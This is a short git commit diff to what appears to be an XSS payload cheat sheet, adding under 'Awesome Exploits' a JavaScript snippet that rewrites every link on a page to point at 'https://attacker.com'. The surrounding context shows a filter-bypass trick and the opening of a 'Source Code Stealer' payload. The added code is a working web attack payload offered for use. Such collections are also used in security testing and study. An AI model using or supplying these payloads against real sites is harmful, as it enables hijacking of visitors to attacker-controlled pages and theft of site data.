added link replace exploit

This commit is contained in:
Somdev Sangwan 2018-10-21 11:42:09 +05:30 committed by GitHub
parent d2c9fe95ad
commit 7a40295489
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -122,6 +122,12 @@ new class extends confirm``{}
``` ```
### Awesome Exploits ### Awesome Exploits
##### Replace all links
```javascript
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
```
##### Source Code Stealer ##### Source Code Stealer
```javascript ```javascript
var request = new XMLHttpRequest(); var request = new XMLHttpRequest();